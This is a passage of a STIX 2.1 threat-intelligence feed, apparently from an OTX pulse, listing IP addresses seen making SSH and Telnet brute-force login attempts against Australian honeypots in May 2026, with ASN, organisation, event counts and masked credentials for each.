      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): r**t, u**r, 3**********4, ***, s****y. Passwords observed (masked): 1****6, 1******a, 1*******d, 3***********4, 3**********4.",
      "id": "indicator--86285ffe-ff16-467f-b620-0676acc6e2f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.56.197.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T22:15:10.000Z",
      "valid_until": "2026-06-13T22:15:08.000Z"
    },
    {
      "created": "2026-05-12T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--ed420a5b-79ca-45f3-9c16-1ca75fe98301",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.43.163.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T22:15:10.000Z",
      "valid_until": "2026-06-13T22:15:08.000Z"
    },
    {
      "created": "2026-05-12T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--50709f59-da31-4a49-add8-d4bc176f525b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T22:15:10.000Z",
      "valid_until": "2026-06-13T22:15:08.000Z"
    },
    {
      "created": "2026-05-12T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--6dd81a17-c33e-44ca-8580-4b3fc3ccc45a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.190.254.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T22:15:10.000Z",
      "valid_until": "2026-06-13T22:15:08.000Z"
    },
    {
      "created": "2026-05-12T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 62217. Organisation(s): Vinters IT Ltd.",
      "id": "indicator--629fc8bb-cd77-43fd-8ee7-8fd80aea7a5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.227.221.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T22:15:10.000Z",
      "valid_until": "2026-06-13T22:15:08.000Z"
    },
    {
      "created": "2026-05-12T23:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 9269. Organisation(s): Hong Kong Broadband Network Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********6, 3***********4, 3**********4, e****3, o******k.",
      "id": "indicator--2b1c0833-f598-4f41-a1aa-c0be48985eca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T23:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.246.15.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T23:15:06.000Z",
      "valid_until": "2026-06-13T23:15:03.000Z"
    },
    {
      "created": "2026-05-12T23:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--d92c9808-b1c4-4807-9ba3-a0ee625f0e2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T23:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '134.122.126.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T23:15:06.000Z",
      "valid_until": "2026-06-13T23:15:03.000Z"
    },
    {
      "created": "2026-05-12T23:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28220. Organisation(s): Alares Cabo Servicos de Telecomunicacoes S.A..",
      "id": "indicator--f2814a87-c9e4-40bf-82e2-2a0325f417f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T23:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.190.226.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T23:15:06.000Z",
      "valid_until": "2026-06-13T23:15:03.000Z"
    },
    {
      "created": "2026-05-12T23:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 22927. Organisation(s): Telefonica de Argentina.",
      "id": "indicator--bdd3dc73-7aa7-415f-9ef2-9f33603481fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T23:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.27.16.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T23:15:06.000Z",
      "valid_until": "2026-06-13T23:15:03.000Z"
    },
    {
      "created": "2026-05-12T23:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--1f350faf-9072-4ff6-95d8-96446d03208a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T23:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T23:15:06.000Z",
      "valid_until": "2026-06-13T23:15:03.000Z"
    },
    {
      "created": "2026-05-12T23:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BO. ASN(s): 26210. Organisation(s): AXS Bolivia S. A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********6, 1******2, 1**************R, 2**7, 3***********4.",
      "id": "indicator--4f41f0ce-404f-40f6-bf28-b79e46d156ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T23:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.105.172.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T23:15:06.000Z",
      "valid_until": "2026-06-13T23:15:03.000Z"
    },
    {
      "created": "2026-05-12T23:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: BG. ASN(s): 200019. Organisation(s): Alexhost Srl.",
      "id": "indicator--64186274-3733-45ad-9078-9a52ae269214",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T23:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.150.111.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T23:15:06.000Z",
      "valid_until": "2026-06-13T23:15:03.000Z"
    },
    {
      "created": "2026-05-12T23:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 265817. Organisation(s): Ruben Oscar MossoINTERZONA WIFI.",
      "id": "indicator--b21a17c0-dfda-4cfb-b7eb-9b66e8551ad0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T23:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.70.9.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T23:15:06.000Z",
      "valid_until": "2026-06-13T23:15:03.000Z"
    },
    {
      "created": "2026-05-12T23:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--dd906dd2-ba4b-4c62-b791-90f30336d05d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T23:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '57.131.46.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T23:15:06.000Z",
      "valid_until": "2026-06-13T23:15:03.000Z"
    },
    {
      "created": "2026-05-13T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131423. Organisation(s): Branch of Long Van System Solution JSC - Hanoi. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, a******@, b********r, h*****r.",
      "id": "indicator--57e82115-ad0c-4575-a924-7435922c7970",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.48.192.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T00:15:10.000Z",
      "valid_until": "2026-06-14T00:15:08.000Z"
    },
    {
      "created": "2026-05-13T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 142362. Organisation(s): PT Sukma Sejati Media. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******6, 3***********4, 3**********4, a****x, c*************e.",
      "id": "indicator--6d9d880f-260c-4f3e-85d6-9ac39f4e9eae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.141.59.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T00:15:10.000Z",
      "valid_until": "2026-06-14T00:15:08.000Z"
    },
    {
      "created": "2026-05-13T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--8de90f69-5d52-45a8-b36c-3ea698c5dac7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.29.226.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T00:15:10.000Z",
      "valid_until": "2026-06-14T00:15:08.000Z"
    },
    {
      "created": "2026-05-13T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--1eb8b42e-e2f0-4cc2-b7c8-36775bd69632",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.148.159.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T00:15:10.000Z",
      "valid_until": "2026-06-14T00:15:08.000Z"
    },
    {
      "created": "2026-05-13T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 68. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--5e6daca0-3113-4b3b-b6c9-bb06db50f36a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.166.216.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T00:15:10.000Z",
      "valid_until": "2026-06-14T00:15:08.000Z"
    },
    {
      "created": "2026-05-13T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 8048. Organisation(s): CANTV Servicios, Venezuela.",
      "id": "indicator--62b0730f-5a34-497a-be7d-13f39e219068",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.200.240.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T00:15:10.000Z",
      "valid_until": "2026-06-14T00:15:08.000Z"
    },
    {
      "created": "2026-05-13T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TN. ASN(s): 37693. Organisation(s): TUNISIANA.",
      "id": "indicator--a6daaf45-0761-4598-a1a7-5208380c078c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.177.117.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T00:15:10.000Z",
      "valid_until": "2026-06-14T00:15:08.000Z"
    },
    {
      "created": "2026-05-13T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 3243. Organisation(s): Servicos De Comunicacoes E Multimedia S.A..",
      "id": "indicator--8bedb227-a7b3-46db-8d7a-18ea2b8770d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.81.243.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T00:15:10.000Z",
      "valid_until": "2026-06-14T00:15:08.000Z"
    },
    {
      "created": "2026-05-13T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, b*****g, h*******o, m******3.",
      "id": "indicator--c89cdbf3-2823-4e34-96c9-ae3447764195",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.38.71.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T00:15:10.000Z",
      "valid_until": "2026-06-14T00:15:08.000Z"
    },
    {
      "created": "2026-05-13T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--c6074a2a-2893-4343-ab93-5333e6de8b34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.168.175.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T01:15:10.000Z",
      "valid_until": "2026-06-14T01:15:08.000Z"
    },
    {
      "created": "2026-05-13T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--de9a8ccd-5f16-4d61-8831-c276f280f44a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.26.201.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T01:15:10.000Z",
      "valid_until": "2026-06-14T01:15:08.000Z"
    },
    {
      "created": "2026-05-13T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 17072. Organisation(s): TOTAL PLAY TELECOMUNICACIONES SA DE CV.",
      "id": "indicator--8b8768a1-a2cf-4eb0-b0f3-789a931fa638",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.189.49.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T01:15:10.000Z",
      "valid_until": "2026-06-14T01:15:08.000Z"
    },
    {
      "created": "2026-05-13T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 56529. Organisation(s): RuaD-Group LLC.",
      "id": "indicator--06b52383-0e15-482b-8ca3-d10096eb0587",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.144.4.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T01:15:10.000Z",
      "valid_until": "2026-06-14T01:15:08.000Z"
    },
    {
      "created": "2026-05-13T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--3f7a5436-d01d-4928-83c8-8695799e7882",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.160.227.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T01:15:10.000Z",
      "valid_until": "2026-06-14T01:15:08.000Z"
    },
    {
      "created": "2026-05-13T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 131602. Organisation(s): Hsin Yeong An Cable TV Co., Ltd..",
      "id": "indicator--f9c0f467-8afb-41fe-a415-21a996ea34ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '218.34.179.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T01:15:10.000Z",
      "valid_until": "2026-06-14T01:15:08.000Z"
    },
    {
      "created": "2026-05-13T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 269946. Organisation(s): BOOM SOLUTIONS C.A..",
      "id": "indicator--a47c14c5-9c1d-45ef-9e1d-2138ee628bce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.159.52.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T01:15:10.000Z",
      "valid_until": "2026-06-14T01:15:08.000Z"
    },
    {
      "created": "2026-05-13T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--4075ea9b-d4dc-42b8-9277-026ef92c3589",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T01:15:10.000Z",
      "valid_until": "2026-06-14T01:15:08.000Z"
    },
    {
      "created": "2026-05-13T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--294109b5-ea90-40bc-825a-61f0f43fc3ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T01:15:10.000Z",
      "valid_until": "2026-06-14T01:15:08.000Z"
    },
    {
      "created": "2026-05-13T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--c1e3a8f7-5f48-4f68-9fcb-3b139e65e5bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T01:15:10.000Z",
      "valid_until": "2026-06-14T01:15:08.000Z"
    },
    {
      "created": "2026-05-13T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS. Usernames observed (masked): b*********************************************************************************************************************************************************************************************************************************'. Passwords observed (masked): ***, b*************************************************************************************************************************************************************************************************\".",
      "id": "indicator--0a161678-6046-4697-b322-8d513e293ef7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T01:15:10.000Z",
      "valid_until": "2026-06-14T01:15:08.000Z"
    },
    {
      "created": "2026-05-13T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--dcb893e9-a005-4be4-8c11-b3b33465f216",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '98.81.162.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T01:15:10.000Z",
      "valid_until": "2026-06-14T01:15:08.000Z"
    },
    {
      "created": "2026-05-13T02:15:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--2a13d185-5436-45aa-b82b-77bce5b33297",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T02:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.189.18.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
